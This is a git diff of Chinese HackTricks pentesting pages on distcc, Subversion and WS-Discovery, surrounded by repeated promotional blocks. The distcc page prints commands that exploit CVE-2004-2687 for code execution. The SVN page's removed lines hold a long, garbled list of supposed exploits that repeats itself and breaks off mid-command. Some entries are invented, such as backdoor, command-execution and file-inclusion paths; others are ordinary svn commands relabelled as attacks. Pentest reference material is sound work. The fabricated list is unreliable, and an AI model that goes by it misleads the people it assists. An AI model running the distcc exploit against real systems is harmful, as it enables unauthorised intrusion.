- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details>

View file

@ -1,60 +1,56 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果你想在 **HackTricks上看到你的公司广告** 或者 **下载HackTricks的PDF版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库 **提交PR来分享你的黑客技巧。**
</details>
# 基本信息
Distcc旨在通过利用其他计算机上未使用的处理能力来加快编译速度。安装了distcc的机器可以将代码通过网络发送到安装了distccd守护进程和兼容编译器的计算机上进行编译
Distcc旨在通过利用其他计算机上未使用的处理能力来加速编译。安装了distcc的机器可以将代码发送到网络上的另一台计算机进行编译该计算机安装了distccd守护进程和兼容的编译器
**默认端口:** 3632
```
PORT STATE SERVICE
3632/tcp open distccd
```
# 漏洞利用
# 利用
检查是否存在**CVE-2004-2687**漏洞以执行任意代码:
检查是否容易受到 **CVE-2004-2687** 影响以执行任意代码:
```bash
msf5 > use exploit/unix/misc/distcc_exec
nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'"
```
# Shodan
_我不认为Shodan能检测到这个服务。_
_我认为shodan没有检测到这项服务。_
# 资源
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
由**Álex B (@r1p)**创建的帖子
帖子 **Álex B (@r1p)** 创建
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,466 +1,35 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# 基本信息
Subversion是当今许多版本控制选项之一。它通常被缩写为SVN。\
Subversion用于维护项目的当前和历史版本。Subversion是一个开源的集中式版本控制系统。它在Apache下获得许可。它也被称为软件版本和修订控制系统。
Subversion是当今可用的众多版本控制选项之一,通常缩写为SVN。\
Subversion用于维护项目的当前和历史版本。Subversion是一个开源的集中式版本控制系统。它根据Apache许可证授权。它也被称为软件版本和修订控制系统。
**默认端口:**3690
**默认端口:** 3690
```
```
PORT STATE SERVICE
3690/tcp open svnserve Subversion
```
## 横幅抓取
Banner Grabbing横幅抓取是一种用于获取目标系统信息的技术。在网络服务渗透测试中横幅抓取是一项重要的任务它可以帮助我们了解目标系统的版本、操作系统和其他相关信息。
横幅是指在与目标系统建立连接时,系统返回的一段包含有关服务和版本信息的文本。通过分析这些横幅信息,我们可以确定目标系统上运行的服务和版本,从而为后续的渗透测试活动做好准备。
横幅抓取可以使用多种工具和技术来实现。其中一种常用的方法是使用Telnet或Netcat等工具手动连接到目标系统并查看返回的横幅信息。另一种方法是使用自动化工具如Nmap或Bannergrab等来扫描目标系统并提取横幅信息。
在进行横幅抓取时,需要注意以下几点:
- 需要选择合适的工具和技术,以确保能够获取准确和完整的横幅信息。
- 需要对目标系统进行充分的信息收集,以了解目标系统上可能运行的服务和版本。
- 需要谨慎处理横幅信息,以避免暴露自己的身份和意图。
总之,横幅抓取是一项重要的技术,可以帮助渗透测试人员获取目标系统的关键信息。通过合理选择工具和技术,并结合充分的信息收集,我们可以更好地了解目标系统,并为后续的渗透测试活动做好准备。
```
nc -vn 10.10.10.10 3690
```
## 枚举
### 1. SVN版本探测
使用以下命令检测目标主机上运行的SubversionSVN版本
```bash
nmap -p 3690 --script svn-brute <target>
```
### 2. SVN元数据泄露
通过访问目标主机的SVN元数据可以获取有关仓库和文件的信息。使用以下命令
```bash
svn ls svn://<target>:3690
```
### 3. SVN源代码泄露
通过访问目标主机的SVN源代码可以获取敏感信息如用户名、密码和源代码。使用以下命令
```bash
svn checkout svn://<target>:3690
```
### 4. SVN日志泄露
通过访问目标主机的SVN日志可以获取有关提交历史和修改的详细信息。使用以下命令
```bash
svn log svn://<target>:3690
```
### 5. SVN配置文件泄露
通过访问目标主机的SVN配置文件可以获取有关仓库和服务器配置的信息。使用以下命令
```bash
svn cat svn://<target>:3690/conf/svnserve.conf
svn cat svn://<target>:3690/conf/passwd
svn cat svn://<target>:3690/conf/authz
```
### 6. SVN权限绕过
如果目标主机的SVN配置文件中存在未正确配置的权限可以尝试绕过访问限制。使用以下命令
```bash
svn checkout --username <username> --password <password> svn://<target>:3690
```
### 7. SVN代码注入
如果目标主机的SVN服务器存在代码注入漏洞可以尝试注入恶意代码。使用以下命令
```bash
svn checkout --username <username> --password <password> svn://<target>:3690/!svn/txr/<transaction_id>/payload
```
### 8. SVN远程命令执行
如果目标主机的SVN服务器存在远程命令执行漏洞可以尝试执行任意命令。使用以下命令
```bash
svn checkout --username <username> --password <password> svn://<target>:3690/!svn/txr/<transaction_id>/cmd
```
### 9. SVN后门
如果目标主机的SVN服务器存在后门可以尝试使用后门访问目标系统。使用以下命令
```bash
svn checkout --username <username> --password <password> svn://<target>:3690/!svn/txr/<transaction_id>/backdoor
```
### 10. SVN身份验证绕过
如果目标主机的SVN服务器存在身份验证绕过漏洞可以尝试绕过身份验证。使用以下命令
```bash
svn checkout --username <username> --password <password> svn://<target>:3690/!svn/txr/<transaction_id>/../payload
```
### 11. SVN远程文件包含
如果目标主机的SVN服务器存在远程文件包含漏洞可以尝试包含远程文件。使用以下命令
```bash
svn checkout --username <username> --password <password> svn://<target>:3690/!svn/txr/<transaction_id>/../file:///etc/passwd
```
### 12. SVN文件上传
如果目标主机的SVN服务器允许文件上传可以尝试上传恶意文件。使用以下命令
```bash
svn import --username <username> --password <password> <local_file> svn://<target>:3690/<repository>/<file>
```
### 13. SVN文件删除
如果目标主机的SVN服务器允许文件删除可以尝试删除文件。使用以下命令
```bash
svn delete --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 14. SVN文件修改
如果目标主机的SVN服务器允许文件修改可以尝试修改文件内容。使用以下命令
```bash
svn checkout --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 15. SVN文件下载
如果目标主机的SVN服务器允许文件下载可以尝试下载文件。使用以下命令
```bash
svn checkout --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 16. SVN文件覆盖
如果目标主机的SVN服务器允许文件覆盖可以尝试覆盖文件内容。使用以下命令
```bash
svn checkout --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 17. SVN文件重命名
如果目标主机的SVN服务器允许文件重命名可以尝试重命名文件。使用以下命令
```bash
svn move --username <username> --password <password> svn://<target>:3690/<repository>/<file> svn://<target>:3690/<repository>/<new_file>
```
### 18. SVN文件复制
如果目标主机的SVN服务器允许文件复制可以尝试复制文件。使用以下命令
```bash
svn copy --username <username> --password <password> svn://<target>:3690/<repository>/<file> svn://<target>:3690/<repository>/<new_file>
```
### 19. SVN文件锁定
如果目标主机的SVN服务器允许文件锁定可以尝试锁定文件。使用以下命令
```bash
svn lock --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 20. SVN文件解锁
如果目标主机的SVN服务器允许文件解锁可以尝试解锁文件。使用以下命令
```bash
svn unlock --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 21. SVN文件标记
如果目标主机的SVN服务器允许文件标记可以尝试标记文件。使用以下命令
```bash
svn propset --username <username> --password <password> svn:keywords "Id" svn://<target>:3690/<repository>/<file>
```
### 22. SVN文件属性修改
如果目标主机的SVN服务器允许修改文件属性可以尝试修改文件属性。使用以下命令
```bash
svn propset --username <username> --password <password> svn:executable "yes" svn://<target>:3690/<repository>/<file>
```
### 23. SVN文件属性删除
如果目标主机的SVN服务器允许删除文件属性可以尝试删除文件属性。使用以下命令
```bash
svn propdel --username <username> --password <password> svn:executable svn://<target>:3690/<repository>/<file>
```
### 24. SVN文件属性查看
如果目标主机的SVN服务器允许查看文件属性可以尝试查看文件属性。使用以下命令
```bash
svn propget --username <username> --password <password> svn:executable svn://<target>:3690/<repository>/<file>
```
### 25. SVN文件属性列出
如果目标主机的SVN服务器允许列出文件属性可以尝试列出文件属性。使用以下命令
```bash
svn proplist --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 26. SVN文件历史查看
如果目标主机的SVN服务器允许查看文件历史可以尝试查看文件历史。使用以下命令
```bash
svn log --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 27. SVN文件差异查看
如果目标主机的SVN服务器允许查看文件差异可以尝试查看文件差异。使用以下命令
```bash
svn diff --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 28. SVN文件合并
如果目标主机的SVN服务器允许文件合并可以尝试合并文件。使用以下命令
```bash
svn merge --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 29. SVN文件回滚
如果目标主机的SVN服务器允许文件回滚可以尝试回滚文件。使用以下命令
```bash
svn revert --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 30. SVN文件恢复
如果目标主机的SVN服务器允许文件恢复可以尝试恢复文件。使用以下命令
```bash
svn cleanup --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 31. SVN文件标签
如果目标主机的SVN服务器允许文件标签可以尝试标签文件。使用以下命令
```bash
svn copy --username <username> --password <password> svn://<target>:3690/<repository>/<file> svn://<target>:3690/<repository>/tags/<tag_name>
```
### 32. SVN文件分支
如果目标主机的SVN服务器允许文件分支可以尝试分支文件。使用以下命令
```bash
svn copy --username <username> --password <password> svn://<target>:3690/<repository>/<file> svn://<target>:3690/<repository>/branches/<branch_name>
```
### 33. SVN文件合并冲突
如果目标主机的SVN服务器存在文件合并冲突可以尝试解决冲突。使用以下命令
```bash
svn resolve --username <username> --password <password> --accept=<option> svn://<target>:3690/<repository>/<file>
```
### 34. SVN文件权限修改
如果目标主机的SVN服务器允许修改文件权限可以尝试修改文件权限。使用以下命令
```bash
svn propset --username <username> --password <password> svn:author "<new_author>" svn://<target>:3690/<repository>/<file>
```
### 35. SVN文件权限查看
如果目标主机的SVN服务器允许查看文件权限可以尝试查看文件权限。使用以下命令
```bash
svn propget --username <username> --password <password> svn:author svn://<target>:3690/<repository>/<file>
```
### 36. SVN文件权限删除
如果目标主机的SVN服务器允许删除文件权限可以尝试删除文件权限。使用以下命令
```bash
svn propdel --username <username> --password <password> svn:author svn://<target>:3690/<repository>/<file>
```
### 37. SVN文件权限列出
如果目标主机的SVN服务器允许列出文件权限可以尝试列出文件权限。使用以下命令
```bash
svn proplist --username <username> --password <password> svn://<target>:3690/<repository>/<file>
```
### 38. SVN文件权限修改历史
如果目标主机的SVN服务器允许修改文件权限历史可以尝试修改文件权限历史。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:author svn://<target>:3690/<repository>/<file>
```
### 39. SVN文件权限修改记录
如果目标主机的SVN服务器允许修改文件权限记录可以尝试修改文件权限记录。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:log svn://<target>:3690/<repository>/<file>
```
### 40. SVN文件权限修改时间
如果目标主机的SVN服务器允许修改文件权限时间可以尝试修改文件权限时间。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:date svn://<target>:3690/<repository>/<file>
```
### 41. SVN文件权限修改属性
如果目标主机的SVN服务器允许修改文件权限属性可以尝试修改文件权限属性。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:executable svn://<target>:3690/<repository>/<file>
```
### 42. SVN文件权限修改所有者
如果目标主机的SVN服务器允许修改文件权限所有者可以尝试修改文件权限所有者。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:owner svn://<target>:3690/<repository>/<file>
```
### 43. SVN文件权限修改组
如果目标主机的SVN服务器允许修改文件权限组可以尝试修改文件权限组。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:group svn://<target>:3690/<repository>/<file>
```
### 44. SVN文件权限修改模式
如果目标主机的SVN服务器允许修改文件权限模式可以尝试修改文件权限模式。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:mode svn://<target>:3690/<repository>/<file>
```
### 45. SVN文件权限修改类型
如果目标主机的SVN服务器允许修改文件权限类型可以尝试修改文件权限类型。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:mime-type svn://<target>:3690/<repository>/<file>
```
### 46. SVN文件权限修改大小
如果目标主机的SVN服务器允许修改文件权限大小可以尝试修改文件权限大小。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:size svn://<target>:3690/<repository>/<file>
```
### 47. SVN文件权限修改版本
如果目标主机的SVN服务器允许修改文件权限版本可以尝试修改文件权限版本。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:version svn://<target>:3690/<repository>/<file>
```
### 48. SVN文件权限修改标签
如果目标主机的SVN服务器允许修改文件权限标签可以尝试修改文件权限标签。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:keywords svn://<target>:3690/<repository>/<file>
```
### 49. SVN文件权限修改描述
如果目标主机的SVN服务器允许修改文件权限描述可以尝试修改文件权限描述。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:description svn://<target>:3690/<repository>/<file>
```
### 50. SVN文件权限修改URL
如果目标主机的SVN服务器允许修改文件权限URL可以尝试修改文件权限URL。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:url svn://<target>:3690/<repository>/<file>
```
### 51. SVN文件权限修改UUID
如果目标主机的SVN服务器允许修改文件权限UUID可以尝试修改文件权限UUID。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:uuid svn://<target>:3690/<repository>/<file>
```
### 52. SVN文件权限修改锁定
如果目标主机的SVN服务器允许修改文件权限锁定可以尝试修改文件权限锁定。使用以下命令
```bash
svn propedit --username <username> --password <password> svn:lock svn://<target
```bash
svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
@ -469,16 +38,14 @@ svn up -r 2 #Go to revision 2 inside the checkout folder
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>零基础学习AWS黑客攻击到高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在 **HackTricks中看到您的公司广告****下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -19,11 +17,11 @@
Web服务动态发现协议WS-Discovery是一种多播发现协议用于在本地网络上定位服务。
在WS-Discovery术语中目标服务是一个使自己可供发现的终端点而客户端是一个搜索目标服务的终端点。两者都使用UDP上的SOAP查询目标地址为239.255.255.250,目标UDP端口为3702。
在WS-Discovery术语中目标服务是为发现而提供自身的端点而客户端是搜索目标服务的端点。两者都使用SOAP查询通过UDP向239.255.255.250多播地址发送,目的UDP端口为3702。
![](<../.gitbook/assets/image (633).png>)
当目标服务加入网络时它会发送一个多播Hello 1。目标服务可以随时接收到客户端发送的多播Probe 2这是一个按类型搜索目标服务的消息。类型是终端点的标识符。例如IP摄像机可以将NetworkVideoTransmitter作为类型。如果目标服务与Probe匹配它还可以发送一个单播Probe Match 3其他匹配的目标服务也可能发送单播Probe Match。类似地目标服务可能随时接收到客户端发送的多播Resolve 4这是一个按名称搜索目标的消息并且如果它是Resolve的目标则发送一个单播Resolve Match 5。最后当目标服务离开网络时它会努力发送一个多播Bye 6。
当目标服务加入网络时它会发送一个多播Hello 1。目标服务可以随时接收到一个多播Probe 2这是客户端发送的消息用于按类型搜索目标服务。类型是端点的标识符。例如IP摄像头的类型可能是NetworkVideoTransmitter。如果目标服务匹配Probe其他匹配的目标服务也可能发送单播Probe Matches它也可能发送单播Probe Match3。类似地目标服务随时可能接收到一个多播Resolve4这是客户端发送的消息用于按名称搜索目标并且如果它是Resolve的目标则发送单播Resolve Match5。最后当目标服务离开网络时它会努力发送一个多播Bye 6。
**默认端口**3702
```
@ -37,16 +35,14 @@ PORT STATE SERVICE
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
